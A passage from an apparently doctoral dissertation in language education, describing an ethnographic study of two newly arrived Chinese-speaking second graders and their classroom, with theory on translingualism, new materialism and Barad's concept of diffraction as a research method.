co-exist together. For example, across the school year, classmates that didn’t know Chinese asked Xi Xi Lu and Madeline, “Do you still know what it is in English?” when Xi Xi Lu and Madeline demonstrated reading words in Chinese. The conceptualization of language as English, Chinese and Korean that children, teachers, and I held were perhaps institutionally influenced by the national WIDA Consortium standards and assessment rubric, adopted by Oakville school, which foregrounds language as the social practices of verbal and written languages (WIDA Can Do Philosophy). The WIDA standard and assessment rubric and corresponding yearly standardized test, WIDA ACCESS 2.0, was one of multiple factors that categorized Xi Xi Lu and Madeline as “English Learners”. On the WIDA, English language was defined by the categories of reading, writing, speaking, and listening. A grid of “Can Do descriptors” defined and measured the English language that an individual child was able to demonstrate: English syntax, identifying and applying a variety of vocabulary valued in academic settings, English writing to adhere to particular genres of school writing, and using visuals or one’s body as tools to convey information (Board of Regents of the University of Wisconsin System, on behalf of the WIDA Consortium, 2016). While Chinese wasn’t assessed by the WIDA or Oakville, the WIDA standards Framework and Theoretical Foundations, draw on scholarship in bilingualism/biliteracy and WIDA Guiding Principles to Language Development and advocate for students’ multiple languages and cultures to be brought into the classroom as a way to support academic achievement in English (Board of Regents of the University of Wisconsin System, on behalf of the WIDA Consortium, 2014). **Teacher: Origami and Music as a Language.** To Xi Xi Lu and Madeline’s classroom teacher, a science leader in her district with training in early childhood education, language was the multiple modes of expression enabled through the hands-on doing of science: image, Chinese, English--“not necessarily paper/pencil”, she noted. While she said she had never heard of the pedagogical theory of ‘hundred languages of children’ (Edwards, Gandini, & Forman, 2012) that undergirds the Reggio Emilia approach to early childhood education, this pedagogical approach parallels how Caitlin made sense of language in her classroom. The ‘hundred languages of children’ attends to the unique nature of children’s meaning making, theorizing children are capable meaning-makers who do so in creative, multiple, multimodal ways, often not dominated by verbal and written communication, but rather oriented toward sensory, embodied, and material resources. Take, for example, the numerous times throughout the school year that Caitlin noted to me and children that language was sound, art, color, and movement. For example, during a bilingual read aloud in her classroom at the end of the year, she prompted children listening to the story to recognize that sound was language. “So, what did the authors or recorders in the book use as a language that we could all understand?... Even if we didn’t quite understand the beginning part (in Mandarin)?”, she asks. Then later, “How interesting that some of the sounds can tell us something without there being words.” Drawing attention to the music, she asks, “do we need a language to know that?” Several months earlier, after watching Xi Xi Lu and Madeline fold paper in ways their peers didn’t know how, she questioned me, “Is Origami a language?” (3/3/17). Toward the end of the year, during one of our many de-briefing sessions, she questioned, “I don’t know if you could say the language of color or the language of art...(would count as language)” (5/23/17). During the science investigation in chapter three, what was significant to Caitlin were the multiple modes of expression enabled through the hands-on doing of science that created the possibility to participate. She noted, “(Xi Xi Lu and Madeline) did not need language to build that ice (cube keeper). They could participate like everyone else that day..they did not need…to use their English to do…to make it, to build it, to do anything…” (1/31/17 interview) **Frances: Language-ish? Language-ing?** Observing language from a different perspective, wanting desperately to feel between the vertical and horizontal lines of the WIDA assessment rubric and Hanzi, I observed language making in Room 246 at Oakville school as also a dynamic entanglement of movement, sound, and image. How might language be significant without necessarily signifying? This was the hidden world of language in Room 246 that I was just beginning to explore. Despite years as an ESL teacher, working in Room 246, I saw what language could be. This different way of seeing, hearing, and feeling language continually transformed how I thought of myself as a language educator, one that continues to shift. At Oakville school, even though English was considered to be the language of instruction, the doing of language could be seen as so much more. What if language could be comprised of multiple components including but beyond English and Chinese, such as sounds, images, objects, and bodies transforming what could become possible for each other in ways that no one expected and hardly noticed?, I mused. In the first four months after Xi Xi Lu and Madeline’s arrival from China, they could be seen with their classmates who didn’t know Chinese, silently touching each other’s shirts, hair, and each others’ faces. In place of English or Mandarin syntax, morphemes, or sounds, language making as I was beginning to notice it, was the raised texture of Hello Kitty on pink cotton underneath silver painted stars or the weaving silky hair into braids (see Figure 1.3, middle of top row). For one of Xi Xi Lu and Madeline’s classmates, in lieu of not being able to speak or move most of his body without assistance, language making was as I was beginning to notice it, his eyes gazing, his legs jerking and head rolling as the sides of his wheelchair pushed back on his body. Language making was the sound from the assistive audio device, pre-recorded with voices of classmates’ topic-appropriate phrases that sounded when his aid took his hand and pressed the large red plastic button (see Figure 1.3, middle of top row). In another moment during working with math groups, I noticed language making as the colored plastic bear counters that Xi Xi Lu and Clarisse, an English-dominant peer that knew no Chinese, put on top one another’s’ heads as they worked together on a math worksheet (see Figure 1.3, bottom right). In another moment walking in a line during a field trip while hugging each other, language making was Xi Xi Lu and Clarise mimicking each other’s sounds and tones back and forth in the pattern of a conversation—a seemingly non-sensical and very playful game of ‘yes-no’. The game went like this: a stream of ‘yesyesyesyesyesyesyesyesyes’ vocalized by a child is suddenly and unpredictably interrupted with a quick ‘no’ by the other child, or vice versa—like the children’s game of paper-rock-scissors, yet with different sounds. Or, ‘yes’ and ‘no’ were playfully combined in different ways, making up new sounds, ‘yessnnnooyesnononoyesssssss’ (see Figure 1.3, top right). In this case, ‘yes’ and ‘no’ did not necessarily answer a question or serve to give information, just as head jerking, bear counters pouring, shirt touching nor hair braiding did. ‘Yes’ and ‘no’ instead operated as simple sounds able to be vocalized by both human players in different combinations, sometimes surprising to both children. During the science investigation in chapter three, experimentation with a wide range of materials seemed to inspire an experimentation with meshes of verbal/written language, sound, video, images, and more. Figure 1.3. Excerpts from Room 246 classroom video. Yet in another moment, language making was children’s bodies moving when a classmate who didn’t know Chinese dramatically mimed a dog scratching while asking Xi Xi Lu “do you have a pet?” while writing about animals during writing workshop. In other moments during science, documenting science investigations on the classroom blog was children working with tablets, tangrams, bugs, and cocoons hanging from a screen top of a fish tank (see figure 1.3). During moments of writer’s workshop and literacy, language making was the illuminated logograms and letters and the heat from the overhead projector, Google translate neural network with tablet application sounding what seems like Mandarin and English, children and pencils sketching onto notebooks, creating comics and text. During indoor recess, language making was children with Chrome tablets playfully improvising their own fluent verbal languages that I refer to as “gibberish”, yet the children never called it as such. During a bilingual read aloud, language making was hearing sounds of Mandarin with synthesizer music producing forces that seemed to move children’s bodies, despite the Mandarin words not communicating to peers (see figure 1.4). These noticing of Room 246 are largely missing in scholarship on young emergent bi/multilinguals. A significant exception takes a Bakhtinian perspective, writing about how newcomer children not having similar verbal and written languages connected through smiling, touching, building with blocks, and imitating each other’s drawing styles (da Silva Iddings, Haught, Devilin, 2005). Yet different from this perspective is that language serves the purpose of communicating information or intention as meaning, which was not always the case in Room 246. In contrast, the noticing I had in being part of in Room 246 resonate with Deleuze and Guattari’s (1986) examples orienting toward the materiality of sound, the “warbling”, gibberish-like “blurred words” that children playfully speak very fast where the playful act rather than the meaning of the words are what are significant—sounds of “consonants rub[bing] leadenly against each other” and vowels sing[ing]” (p.21-23). *Figure 1.4. English-dominant children moving to Mandarin sounds they don’t understand.* **Language Enfolding from Spaces and Times Outside Room 246.** Influenced by scholarship on emergent literacies and emergent literacy encounters (Davies, 2014a; Leander & Boldt, 2013), during fieldwork in Room 246, I couldn’t help but mash up these in-classroom noticings with my own parenting experiences raising a child with multiple home languages and extended stays in India and Poland. For example, while second graders made up gibberish-like languages with Google Translate enabling them to form social connections with peers, I overheard my son Neel having regular conversations with Siri, Apple-product’s voice-controlled automated assistant. “Siri, are you alive? Do you have eyes and a bed?” Whereas Xi Xi Lu and Clarisse played a game of ‘yesno’, the game of sounds, I witnessed Neel playing a very similar and regular game of ‘yesno’ with Marathi-speaking adults in India, and then six months later, with Polish-speaking children in the climbing play structure at the Warsaw airport. Just as with Xi Xi Lu and Clarisse, in both of these cases, there was no shared verbal and written language, only shared hhhhhhhh, facial expressions, and sound play. Neel described the red toy car (“it has wheels and lights! “and red paint”… “and a spoiler!”) enabling him to connect with peers at his Indian preschool that mostly speak Hindi to him, whereas he only knew a few words. He continued to bring up attending preschool in India for a summer on a regular basis without being prompted. Much of what Neel stated suggests his discomfort with knowing little Hindi, Marathi and doing school differently than he was habituated to in the U.S.. Yet I have come to think that within what Neel reports as an uncomfortable experience, where at first noticing there appear few connections across potential mistranslations and misunderstandings in Marathi, Gujarati, Hindi, English, and different ways of doing schooling, there were indeed other less-recognized connections and relations happening between the red car, its lights, Neel, and his preschool classmates (see Figure 1.11). Much like the early childhood education study where children re-purposed a box into a duster, enabling a boy, Leo to gain friends (Rauito & Winston, 2015), it was working with the car and the relations between it and children that enabled Neel the possibility of a social connection in lieu of words. As a novice researcher, former ESL teacher, and educator of teaching emergent bi/multilinguals with an intercultural family with multiple languages present, I began to view these non-human and more-than human relations as the bridges that connect mother and son, children and researcher, children and peers, and generations of families. Different combinations of non-human and more-than-humans as bridges served to provide openings between children and teachers in lieu of having similar access to verbal/written resources. **Hardware and Software: Algorithms, Electric Impulses, Linguistic Signs.** In addition to these human-oriented conceptualizations of language in the classroom, in chapters three and five, I elaborate how there were additional perspectives of language making that worked with these different human perceptions. That is, also occurring in Room 246 was a technology-oriented language making. For example, media theory and communications suggest that there is a programmatic vocabulary between the Google Translate software application and Chrome tablet that we worked with. Such technology-oriented language is an emergent dialogue between software comprised of algorithms of numbers, electric impulses, and linguistic signs (Langlois, 2014; Manovich, 2001), and Google Translate’s dynamic human-non-human mix (Ramati & Pinchevski, 2017) comprised of its algorithmic architecture, human input through Google Translate community, and transnational dynamic multilingual corpora. Throughout the dissertation, I work with multiple ways of noticing language making from these human and technology-oriented perspectives. **Two Interdisciplinary Areas of Scholarship That Enable Seeing, Hearing, and Feeling Language: A Brief Outline** In order to respond to the many ways of conceptualizing language in Room 246, two areas of scholarship provide a way to both push language beyond the verbal and written, making it possible to see, hear, and feel language in varied ways. In the following section, I broadly define these areas as a general framing, going into more detail in chapter two. By bringing interdisciplinary work together from the fields of socio and applied linguistics in multilingual contexts and early childhood/youth literacies, this study contributes by theorizing how the multiple varieties of sounds, words, software, hardware, Google Translate neural network, cameras, yut, pajamas, forces of power, and memories across multiple times and spaces work with children, figuring into recognizing engagement in Room 246. A Semiotic-Foregrounded Translingualism. The first area of scholarship is a large and varied body of work situated within translingualism (Canagarajah, 2013). A translingual orientation moves away from what are seen as the dichotomies of bi/multilingualism and structural notions conceptualizing language as a system or grammar (García & Wei, 2014; Canagarajah, 2013) or counted, named languages as bounded and oriented to a nation-state such as English or Chinese (Makoni & Pennycook, 2007). The prefix ‘trans’ within this approach emphasizes the fluidity, dynamism, and hybridity of signs that comprise such practices, and that weave together truncated bits of verbal/written resources, a wide palette of meshed sounds, images, human’s embodied movements and gestures, and material objects. Thus, we can *see* language as humans’ embodied movement, images, and material objects, just as we can *hear* meshed sounds. While these signs are seen as symbolizing and signifying, a signifier is not bound to a particular meaning but rather meaning is situated or indexed (Blommaert, 2010) as predicated on the social context, time, and space. Most helpful about this work is that empirical examples of scholarship are situated in multilingual/cultural settings, aligning to my research site of Room 246. Furthermore, much of this work takes cues from (multimodal) discourse analysis, which provides insight for moment-by-moment analysis of language. A more recent shift in translingualism with empirical examples emphasizing semiotics, provides a promising pathway for recognizing how language making includes but moves beyond the verbal and written. This shift is significant given within the field of K-12 teaching of emergent bi/multilinguals, the majority of *empirical* examples oriented to a trans approach have overwhelmingly focused on verbal and written aspects of interactions, even though its *theoretical* elaborations have often included aspects beyond verbal and written components (Canagarajah, 2013; García & Wei, 2014). As suggested by Kusters et al., 2017), such a phenomenon is due to scholars of multimodality and multilingualism tending to work in largely separate silos until relatively recently. Examples of this semiotic-foregrounded turn include Canagarajah referring to *translingual* practices as “polysemiotic” (2018b, p. 5). Scholars in socio and applied linguistics are also pushing translanguaging to be considered “trans-semiotizing” (Lin, 2018), consisting of “transmodalities” (Hawkins, 2018), and embodied (Blackledge & Creese, 2017/2020). Bilingual scholars working in K-12 schooling contexts ask we consider repertoires as “transmodal” (Bengochea, Sembiante, Gort, 2017) or rather than *linguistic* resources, attend to “*semiotic modes*” or “tools” (Martinez-Alvarez, 2017; Vogel et al., 2018). Even K-12 teacher bilingual educator, García, who spearheaded pedagogical work in K-12 bilingual school settings for more than a decade with a *linguistically*-focused translanguaging (García, 2009), now calls for attention to semiotics (García, 2018). With colleagues, she furthermore states that in “successful multilingual interactions”, one of the three required qualities is “an ability to shuttle among *semiotic features*” (Vogel et al., 2018, p. 6). Thus, recent translingual scholarship in socio and applied linguistics and teaching emergent bi/multilinguals foregrounding semiotics provides insights as to how we can expand what comes to constitute language or communication in linguistically diverse classrooms and interactions (Bengochea, Sembiante, Gort, 2017; Blackledge & Creese, 2017/2020; Canagarajah, 2018b; Hawkins, 2018; Lin, 2018; Martinez-Alvarez, 2017; Vogel et al., 2018). Despite the many insights of this work for theorizing language making in multilingual/cultural classrooms, there are several limitations of it for theorizing language as it emerged over time in Room 246. First, this body of work is largely focused on adult interactions rather than the particular ways young children language. As noted by scholars in young children’s literacies, how young children are involved in language making may require different considerations than those addressed in adult-oriented studies. Furthermore, aligning to the particular semiotically-foregrounded interpretation of translingualism I work with, elaborated in chapter two, humans are foregrounded as the primary agents or users of resources that facilitate communicative practices. Therefore, this body of work does not make possible the conceptualization of language as more-than symbolizing and representing or the engagement stemming from more-than a human-foregrounded negotiation or resources. **Intra-Action in Young Children’s Literacies.** The second area of interdisciplinary scholarship is broadly oriented to new materialist feminist scholarship (Alaimo & Heckman, 2008; Barad, 2007; Haraway, 2016) and a posthumanist turn in educational research in the area of children and youth literacies. This work orients toward emergent literacy encounters, following a challenging of the New London Group’s “A Pedagogy of Multiliteracies” (1996) with Deleuzoguatarian philosophies (Leander & Boldt, 2013). I attend particularly to empirical scholarship working with Barad’s agential realist ontology and concepts of “intra-action”. “spacetimemattering” and “(material-discursive) apparatus” in the areas of early childhood (e.g., Hultman & Lenz Taguchi, 2010; Murris, 2016), children and youth literacies and play (Ehret et al., 2016; Hackett & Somerville, 2017; Kuby, Spector & Thiel, 2019) and teaching emergent bilinguals (Toohey et al., 2015; Toohey, 2018). Because identities are porous to agential realism such that every being is ontologically entangled or in a relation with other beings, this body of work makes it possible to also challenge named categories as with translanguaging, but rather than pertaining to language, categories referring to social identities such as Chinese, American, and (less than) proficient English/Chinese speakers, how Xi Xi Lu, Madeline, their teachers, peers, and I were often perceived in the classroom. What follows from such an ontological entangling is that what is produced by this collective, be it knowledge (epistemology), or in this case engagement, is also entangled. Thus, the notion of ‘trans’ is prevalent in feminist new materialist scholarship just as translanguaging, but in different ways. As I explain throughout the work, ‘trans’ from a feminist new materialist orientation with translanguaging makes visible what I consider the different iterations of language making and the ontological fusions un-done and re-done within this process. Furthermore, different from work in socio and applied linguistics, much of this scholarship enables the consideration of language doing something other than symbolizing information that is recognized. Because this area of scholarship draws on underpinnings from a theory of language as elaborated by Deleuze-Guattari (1987), Deleuze (2004), and Barad’s (2007) agential realism that calls for an emphasis on a-signifying “matter”, empirical studies seemingly intentionally do not foreground issues pertaining to language. As a result, less attention in empirical studies is paid to aspects pertaining to multilingualism or linguistically diverse settings. While some empirical studies involve children working in multiple named languages or being emergent bi/multilinguals, issues pertaining to bi/multilingual or linguistically diverse settings are largely absent in this work. For example, Wargo (2017) notes children in an urban first grade U.S. classroom are ‘linguistically diverse’ in relation to their peers, but implications materializing from a potential different access to (linguistic) resources are not addressed. Exceptions include recent work in classrooms and communities with young emergent bilingual children (Toohey, 2018a; 2018b; Zapata et al., 2018). Overall, this work is most helpful to advancing how language making can be ‘felt’ (Barad, 2010), forces of difference where human bodies are changed by matter in addition to being seen and heard. II. Research Site/Participants: Engaging and Connecting Across Linguistic Difference Engaging in Language, Studying Engagement This dissertation study consists of fifteen months of ethnographic fieldwork in second and third grade classrooms at Oakville school, a largely middle-class Northeastern public U.S. elementary school in a university town. The approach to this ethnographic inquiry diverges in some ways from more established classroom ethnographic inquiry (Bloome, 2012), even though like Bloome, I adopt the approach that moments from experiences across children’s homes and schools in the U.S. and China bare on what transpires in Room 246. In this ethnography, however, I consider the approach to be diffractive in that rather than reporting what I ‘saw’ in Room 246, I make explicit the enfoldings and flows of intra-actions of language making, and how as researcher, I intra-actively evolve with this process (Gullion, 2018). That is, participation-observation and documentation gave particular attention to the dynamic intersecting moments of human and non-human bodies, and what could be possible in these exchanges rather than a researcher’s verbal/written human-focused representation (Vannini, 2014; Ingold, 2014). Over the course of the study, I was engaged in participating in the language comprising classroom literacy engagements in multiple classrooms at Oakville school. I was particularly focused on the perspectives of nine (emergent) bi/multilingual children in Room 246, their peers, teachers, and parents. The dissertation draws from a smaller subset of the data during the 2016-2017 academic year, when I was a participant-observer in Room 246 for an average of two full school days a week, taking part in classroom literacies across curricular areas, community and school events, and visiting the families of children at their homes meeting parents, grandparents, and siblings. In order to make sense of how language emerged in Xi Xi Lu and Madeline’s classroom, I participated in activities and observed in the multiple classrooms that Xi Xi Lu and Madeline were part of at Oakville school including music, a daily pull-out English as a Second Language class, lunch, recess, their mainstream classroom where they spent most of the day, and their joint writer’s workshop with third graders. I attended different times and days throughout the year to follow children into all class periods, subjects, and different times of the day. In the subset of the project that comprises this dissertation, two emergent bi/multilinguals in their first year in a U.S. school, Xi Xi Lu and Madeline, and I, filmed classroom activities over the course of a school year and together analyzed the video footage with their peers, parents, and teachers. **Oakville School** The site was selected for several reasons. I was interested in how engagement in literacies occur in classrooms with children of varying linguistic and cultural backgrounds, particularly for students identified as “English Learners”. More specifically, I was interested in classrooms where corresponding to changing U.S. demographics, English Learners were increasingly part of suburban school communities which historically had less cultural and linguistic diversity. Such was the case at Oakville school, where even though being located in a large university community habituated to temporarily hosting children whose parents were international graduate students or visiting scholars predominantly from China and Korea, the number of students whose home languages were not English appeared to be increasing. The majority of children participants had backgrounds that K-12 school multilingual scholars García and Kleifgen (2018) would call “foreign born emergent bilinguals”, middle-class, whose former schooling experiences in their home countries were well-resourced. Yet in my experience over several years at the school, there were also numerous other families, originally from China or Central America, moving to the district from nearby U.S. cities to work in area restaurants or employment not affiliated with the university. Furthermore, my pilot study during the 2015-16 academic year indicated the school itself has a growing transnational student population, with over a fourth of the students changing over the course of a school year. Within its school district, Oakville was different demographically from other schools given graduate student housing and a large number of area apartments were in its sending district, amongst other factors. Twenty percent of students qualified for free and reduced lunch, a number substantially higher than neighboring schools. The student population at the school was listed on the website as over 60% “Caucasian”. Despite this, parents and teachers at the school, sharing my identification as White and female, often seemed to go out of their way to emphasize during conversations that they liked Oakville because of what they framed as its ethnic, racial, and linguistic “diversity”. While these comments always took me by surprise, perceptions of “diversity” are always relative. Given the community in which the school was situated, over 80% White, comparatively the school was the most racially and linguistically diverse school in the district, and even more so taking in consideration the surrounding geographic area, which was predominantly White, rural and less-affluent than Oakville’s district. Because of these demographic factors, Oakville was an interesting site to study a classroom with (emergent) bi/multilingual children in a suburban setting, a growing demographic reality in the U.S., where children from a variety of different backgrounds engaged in their classroom, yet where the access we had to linguistic resources in the classroom was different. Second, as a member of the community where the school is located, and moreover, the parent of a child in the community, I had a personal and vested interest to study engagement in classrooms in “my own backyard”. As a parent in the community having cultivated a long-term relationship with the school, I had largely wide-open access at the school, which enabled a deep dive into perspectives in the school and classroom. A potential limitation, but also a significant opening in the research, was having different access to verbal and written resources than Xi Xi Lu and Madeline and their parents. I discuss this more in-depth throughout the work, and how this ultimately shaped the theoretical direction of the study. **Engaging with and Identifying Child Research Participants** Engaging in an experience of research with emergent bi/multilingual children, whose verbal and written resources are also different from one’s own, is always an improvisation and act of experimentation. Connecting is always a moving target as we juggle children’s continual changing ability to express in English and negotiating how to make the tablet and Google translate neural network part of our engagement. From one second to the next, often child nor researcher knows if they have (mis)understood or (mis)translated, or been the subject of the (mis)understanding or (mis)translation. As a researcher knowing little Chinese, throughout the work, I collaborated with human interpreters both at the school and later interpreting video of literacy engagements in the classroom. Yet to my surprise, early in the research, the Chinese-English translators I worked with were unable to understand the meaning of a wide variety of sounds that were part of classroom exchanges. Often, I assumed a particular sound I didn’t understand could have been Mandarin. Yet Chinese interpreters were often confused by these sounds, not knowing what to make of them. One interpreter shrugged off the sounds to be a wide-variety of sounds that kids make, impossible to be translated. As an adult working with children across sounds, named languages, and movement, I often found myself wondering questions like, “Was that a strategic turn of the head, the scratching an itch? A word, a sound?” Connecting without a shared vocabulary or syntax, without a similar way of moving sound and air through the vocal cords, nasal passages, and mouth is a different way of making oneself known to each other. It’s a fusion of resources, that scholars have called material and semiotic, scrambled together in less than three seconds. Think fast. Google image, Google translate, a quick eye gaze, pencil on paper, moving bodies. No? Try again. How about this? Hhhhhhhh. A connection without communication? It always feels like a moment where anything can happen—treading water with multiple obstacles, not knowing when or if one will have an opportunity to hold on to a piece of flotsam to rest or reach the other side. In the middle of an exchange, it’s never guaranteed how it will turn out. Will we be understood? Convey the wrong sentiment? Maybe both or neither? What will come out of it? Ultimately, a significant methodological question was how could we as children, researcher, and teacher engage with each other in the classroom when we have limited knowledge of the verbal and written resources one another has available to work with? I therefore chose to research across verbal and written resources. Being fascinated by the process connecting and expressing across different verbal and written languages, I wanted to explore what less noticed connections might draw together in these relationships, such that all of us in a classroom could become something other than these categories that separated us. How would an adult researcher largely not knowing Chinese and children emerging in their English expression be able to share in this second-grade experience? How would/could children tell me their stories? How would I live these stories with children? How could I responsibly re-tell these embodied, visual, mixed language stories to adult audiences in academic English? What would count in our exchanges and in the classroom? **Child, Teacher, and Researcher Participants Engaging** Engaging in Room 246 are Xi Xi Lu and Madeline, who are navigating the contours of freedom and constraint in their classroom—the increased freedom as they see it to have less work and more play in comparison to their school in China, having each other as brokers to navigate this experiencing of doing school in America. There is Madeline, who described herself as “a small mouse” in China, but able to act as a “tiger” in America, yet with constraints. There is Madeline’s looming test oriented to Chinese curriculum and language to be taken when she returns to China in one year which will determine whether she can be in third grade or must repeat second grade. There is the risk that by learning content in English and different content that will be tested in China, her score will be lower. There is being somewhat trapped in English, not able to express oneself, navigating a new system of schooling. There is their peer translator, Patrick, also from China, who Xi Xi Lu and Madeline find funny. Yet they find it annoying when he rubs it in that he is more knowledgeable in English than they are, even though they sometimes succeed in outsmarting him. There are the tablets in the tablet carts with Google Translate apps, new to the classroom. While the teacher is still learning how to work with them, with Madeline and Xi Xi Lu, the tablets are ubiquitous to everyday activity, sitting with children at their tables and on the morning meeting rug. While to the teacher, researcher, and children, the tablets seemingly enable Xi Xi Lu and Madeline to complete more voluminous writing in Chinese and English and participate in the content-curriculum, they feel the tablets mark them as inferior to their peers, incompetent in English. There is Madeline seemingly wanting to challenge her mother, showing herself as a different kind of student. There is the video from the classroom that Madeline shows her mom, that shows her, as she sees it, acting as a tiger in her U.S classroom. Also in this classroom are Xi Xi Lu and Madeline’s peers who report wanting to work with Xi Xi Lu and Madeline. English-dominant peers, however, often reported being uncomfortable that they sometimes did not understand the meaning of Xi Xi Lu and Madeline’s words. There is their classroom teacher, who desperately wants all children’s funds of knowledge to be incorporated in the classroom. There is me as a researcher, also wanting to engage in the classroom, who regularly brings multiple audio recorders, two GoPros with different mounting options, and two Kodak touches into the classroom. Such partners lead me to be mistakenly introduced to third graders as the school technology expert by several boys in Room 246. As I pursued engaging in research, figments of memories and moments raising a young child with multiple languages present at home, experiences in the U.S., India, and Poland, throughout the five years of the project changed my ideas of language making. Similar to what Xi Xi Lu and Madeline did as students, I navigated schooling experiences between India and the U.S., as a parent and researcher. In India, Neel was perceived as foreigner and language learner, just as Xi Xi Lu and Madeline. There is furthermore the experience of my family living in Poland, re-engaging with one of the heritage languages of my family. Child participants, including Xi Xi Lu and Madeline, were identified by virtue of their presence in one teacher’s second grade classroom during the 2016-2017 academic year. Because I was interested in the relationship between engagement and language, particularly including resources other than English in school, all five children within the second classroom that regularly worked in a verbal/written languages other than English in school were invited and consented to serve as focal participants. Because moments in the classroom often included peers and teachers in the classroom, these children taking part in the exchanges were also invited to be part of the study and video elicitation interviews. While clearly not able to consent other significant players and partners such as Google Translate neural network, tablets, cameras, the occasional stuffed animal that only later seemed significant to the study, these were swept into the study as participants as the study was theoretically reconceptualized over time. Participants in the study also included parents/guardians of focal participants and were identified through contact information provided by the teacher at the research site and face-to-face meetings during the beginning of the year back-to-school nights and parent-teacher conferences in September 2016. Additionally, the teachers of focal participants in different physical school spaces, including mainstream classroom, English as a Second Language (ESL) pullout class (ESL teachers, classroom teacher, paraprofessional, and student teacher) also participated in video elicitation interviews. The classroom teacher participant was recruited August 2016 based on my former research relationship from my pilot study at the same school. Child participants were recruited through an in-person visit to the classroom, and letters were sent home or given to students’ parents during back-to-school night. Parents and guardians of focal students were contacted via e-mail to arrange home visits. Over the course of the study, all children in four mainstream classrooms, one pull-out ESL classroom, all of their teachers, paraprofessionals, and numerous parents were consented to take part in the study. III. A Diffractive Approach to Ethnographic Classroom Research Diffraction was a way for all players and partners to participate in the relationship between language and engagement at Oakville School. In this chapter, I first explain the physical process of diffraction, and then how educational scholarship has elaborated what a diffractive approach can empower and produce. Next, I detail how diffraction is a useful way to methodologically story how I went about fieldwork over several years at Oakville and analysis several years after fieldwork. What is ‘Diffraction’? Barad (2007) explains that in classical physics, diffraction is a physical process whereby “patterns of difference” (p. 29) or iterative changes physically occur when water, sound, light waves, and matter (neutrons, atoms) encounter an interference. When this happens, the original waves bend and spread out, forced to create new wave patterns. Significantly, the multiple ways by which waves bend or diffract can’t be predicted, nor do they have pre-existing properties. Barad argues that water, sound, light, and matter do depend on a variety of factors including the obstruction itself and the instrument of observation. Across her work, Barad provides several examples of diffraction in the natural world and quantum physics experiments. For example, Barad (2014) suggests that when different objects obstruct light waves, the position of shadows is changed. To Barad, what is significant about this example of diffraction is that it is a physical scientific process that illustrates how what we commonly recognize as ‘light’ and ‘darkness’—phenomena which can be thought to have distinct boundaries—are in fact significantly blurred and continually on the move from moment-to-moment, depending on the circumstances in which they manifest. For language educators, this reference to light and shadow is reminiscent of Bakhtin’s metaphorical use of light and shadow. To Bakhtin, just as many scholars aligning with a translungal lens might agree, there is a blurred boundary between the signification of words, such that words operate differently in different situations or not as it seems, for every “word” has shadows that display in certain ‘lights’ such that in meaning there is the “complex play of light and shadow” (Bakhtin, 1981, p.277 as sited in Blackledge, Creese, and Takhi, 2014, p.196). Yet Barad clearly distinguishes her work as not a metaphorical reference to light and shadow. She instead builds her argument by extending Haraway’s (1997) *metaphorical* use of the term diffraction to contrast the method of “reflection”.¹ To a physicist, the distinction Barad seeks to make is that diffraction is a *physical* and material process rather than metaphorical references to diffraction. Applied to theory as a part of research, this suggests that diffraction is a process of ontologically fusing multiple ideas together to physically produce difference or newness, whereas the process of reflection she is critical of is seen to mirror and duplicate what already has been established. For Barad, referencing Haraway’s reflection, the “epistemological gets bounced back and forth, but nothing more is seen” (Barad, 2003, p. 803). Applied to this project, Barad’s posthuman performative alternative to representing breaks out of representing existing knowledge, and instead enables a different way of seeing what is happening in front of us, including what we might be missing. --- ¹ While many educational researchers take up Barad’s distinction between diffraction and reflection, I concur with Bozalek and Zembylas (2017) that reflection and diffraction are not completely different approaches, nor or opposites, but that diffraction contains aspects of reflections and vice versa. A second example of diffraction noted by Barad (2007) are the multiple overlapping waves in the sea encountering jetty rocks, pouring through the multiple cavernous jetty crevices, and coming out the other side still as waves, yet this time differently configured. Given no sea close to Oakville school, I work with the visual below throughout the dissertation (see Figure 1.6), in order to illustrate the concept of diffraction and how it was relevant to this study. The image is a visual created through materials collected near Oakville school including rocks from a pile near a storm drain, and the shavings of colored pencils that I carried with me into the classroom as researcher. Imagine language making as the yellow and gray waves, moving through obstacles of the classroom like jetty rocks. Through this process of coming together differently in the classroom, pouring through the cavernous jetty crevices, language making is transformed. Moving through the classroom, language making is transformed like the now-purple, read, yellow, and pink waves. Language making has been differently configured in its journey. IV. Research Process From Ethnographer as Instrument to Diffractive Apparatus When I began this project, I thought of myself as ethnographer, and as such the instrument of the research (Heath and Street, 2008). I saw myself as a documenter, gingerly surfing the waves of fieldwork in Room 246 somewhat independently, attending to my own positionality as a researcher, critical that it was ‘my own lens’ that would ultimately produce knowledge, therefore risking overshadowing other perspectives in the classroom. Yet I later came to see all of us in the classroom as if on a boat, a passenger cruise ship of sorts, rocking as we ride the rough waves of research and language in the classroom together. Such a ship, dynamically constructed and re-constructed with new sails added and knots tied, is how I visualize Barad’s notion of apparatus that underlies how the concept of diffraction worked in this study (see Figure 1.7). To Barad, an apparatus, a diffraction grating, is like a machine by which the process of diffraction is enabled. Drawing on Bohr, Barad writes that an apparatuses are: Particular physical arrangements that give meaning to certain concepts to exclusion of others; they are the local physical conditions that enable and constrain knowledge practices such as conceptualizing and measuring; they are productive of (and part of) the phenomena produced; they enact a local cut that produces “objects” of particular knowledge practices within the particular phenomena produced. (2003, p. 819) Just like the ‘apparatus’ during a science investigation, or a physical architecture that results in changed physical reactions of particles, the research apparatus of this project can be conceptualized as the dynamic mosaic of theoretical and methodological ideas and materials that comprise our dynamically-constructed diffractive vessel as we sailed and floated the waves of research together in Room 246 (see Figure 1.7). Imagine the methods we worked with as a ship we sailed. This theoretical and methodological ship was built, re-built, sanded, taken apart many times, sails tied with new knots, reconfigured theoretically and methodologically in order to responsively study the waves of language making, our making sense of these practices, and how our different sense-making makes possible noticing opportunities to engage in a classroom. Each physical change made to our ship affected how we moved through the waves, and the nature of the waves that were ultimately produced. As Barad (2007) notes, “the details of the diffraction patterns depend on the details of the apparatus” (p. 91). I conceptualize these reconfigured boards and sails of the research apparatus as what Barad (2003) refers to as the “material (re)configurings/discursive practices” that produce the waves of research, the iterations of what is produced, or the “material phenomena in their discursively differentiated becoming” (p. 820). Therefore, it is not me as researcher, Xi Xi Lu, Madeline, tablet, or their teacher that are producing different opportunities in the classroom to engage through language. Nor is it material objects, sounds, and text. It is also the ontological fusions, the affective connections that come in-between all of us in the classroom, producing different agential possibilities to engage. All of us are part of this difference, of what is being produced in the classroom, but not creating it ourselves. This ship, this apparatus of research is therefore what produces our evolving or becoming language of the classroom is the “knowledge-making practices” (Barad, 2007, p. 72). A. Rationale for a Diffractive Approach to Ethnographic Classroom Research: What Does It Make Possible? How is a diffractive approach to ethnographic classroom research enacted? What does a diffractive reading produce? What ways of seeing, feeling, and hearing language does it enable? What stories does this approach to ethnographic classroom research enable being told? In this section, I story 